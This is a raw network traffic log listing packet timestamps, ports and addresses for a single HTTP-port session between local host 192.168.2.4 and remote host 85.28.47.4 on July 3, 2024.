Jul 3, 2024 23:58:58.554197073 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.564157009 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.564205885 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.564207077 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.564224005 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.564263105 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.564276934 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.564306021 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.564321041 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.564337969 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.564342022 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.564353943 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.564369917 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.564379930 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.564393044 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.564565897 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.564614058 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.564764023 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.564810038 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.564812899 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.564829111 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.564842939 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.564853907 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.564872980 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.564879894 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.564884901 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.564922094 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.564925909 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.564940929 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.564965010 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.564975023 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.565027952 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.565059900 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.565068007 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.565074921 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.565090895 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.565099001 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.565105915 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.565129995 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.565217018 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.565232992 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.565246105 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.565254927 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.565262079 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.565278053 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.565278053 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.565293074 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.565295935 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.565304995 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.565320969 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.565332890 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.565408945 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.565448999 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.565509081 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.565531969 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.565546989 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.565557957 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.565562010 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.565570116 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.565577984 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.565587997 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.565593004 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.565601110 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.565610886 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.565618992 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.565627098 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.565639973 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.565651894 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.565671921 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.565792084 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.565833092 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.565844059 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.565859079 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.565886021 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.565897942 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.565947056 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.565963030 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.565978050 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.565987110 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.565993071 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.566009045 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.566009045 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.566021919 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.566028118 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.566042900 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.566045046 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.566059113 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.566060066 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.566076040 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.566081047 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.566099882 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.566123009 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.566282034 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.566322088 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.566426039 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.566442013 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.566456079 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.566469908 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.566469908 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.566487074 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.566488028 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.566499949 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.566504955 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.566519022 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.566519976 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.566530943 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.566541910 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.566554070 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.566557884 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.566561937 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.566574097 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.566576004 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.566591978 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.566595078 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.566607952 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.566607952 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.566632032 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.566649914 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.566867113 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.566891909 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.566915035 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.566916943 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.566931963 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.566931963 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.566946030 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.566958904 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.566967010 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.566981077 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.623761892 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.623822927 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.623832941 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.623841047 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.623866081 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.623867035 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.623883963 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.623886108 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.623900890 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.623900890 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.623927116 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.623927116 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.623948097 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.623967886 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.635025978 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.635078907 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.635087013 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.635117054 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.635118961 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.635143042 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.635159016 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.635169029 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.635174036 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.635198116 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.635200024 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.635224104 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.635241032 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.635255098 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.635284901 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.646961927 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.647006035 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.647018909 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.647022963 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.647039890 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.647066116 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.647080898 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.647100925 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.647116899 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.647147894 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.647162914 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.647192001 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.647213936 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.647228003 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.647243023 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.647243023 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.647257090 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.647260904 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.647274017 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.647279024 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.647295952 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.647305965 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.647449017 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.647468090 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.647484064 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.647492886 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.647504091 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.647516966 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.647517920 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.647524118 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.647532940 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.647546053 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.647551060 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.647564888 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.647573948 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.647593021 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.647732973 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.647748947 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.647763014 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.647774935 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.647778988 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.647792101 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.647795916 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.647800922 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.647813082 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.647823095 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.647830009 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.647835970 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.647851944 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.647871017 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.647989035 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.648005009 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.648020029 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.648034096 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.648039103 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.648050070 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.648051977 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.648067951 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.648078918 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.648102999 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.648222923 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.648236990 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.648251057 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.648266077 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.648268938 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.648282051 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.648293972 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.648315907 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.648339033 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.658261061 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.658303976 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.658319950 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.658332109 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.658332109 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.658345938 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.658361912 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.658370972 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.658385992 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.658402920 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.658482075 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.658497095 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.658512115 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.658523083 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.658546925 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.658560038 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.658927917 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.658942938 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.658972979 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.658976078 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.658991098 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.658993959 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.659008980 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.659015894 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.659027100 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.659037113 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.659051895 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.659064054 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.659174919 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.659190893 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.659210920 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.659220934 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.659225941 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.659241915 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.659245014 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.659252882 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.659259081 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.659267902 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.659276962 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.659287930 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.659301996 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.659322023 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.659454107 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.659470081 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.659483910 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.659498930 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.659498930 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.659509897 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.659522057 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.659528971 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.659550905 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.659560919 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.659580946 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.659624100 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.659636021 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.659651041 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.659679890 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.659691095 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.659718037 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.659761906 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.659768105 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.659785032 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.659800053 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.659809113 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.659825087 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.659833908 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.660070896 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.660085917 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.660099030 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.660113096 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.660114050 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.660128117 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.660140038 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.660144091 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.660162926 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.660167933 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.660181999 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.660185099 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.660197020 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.660207987 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.660217047 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.660221100 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.660238981 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.660258055 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.660326958 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.660342932 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.660356998 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.660370111 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.660371065 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.660396099 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.660417080 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.660592079 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.660613060 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.660628080 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.660634995 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.660645008 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.660654068 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.660667896 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.660671949 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.660685062 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.660686970 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.660700083 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.660706997 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.660716057 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.660725117 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.660732985 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.660743952 CEST	49730	80	192.168.2.4	85.28.47.4
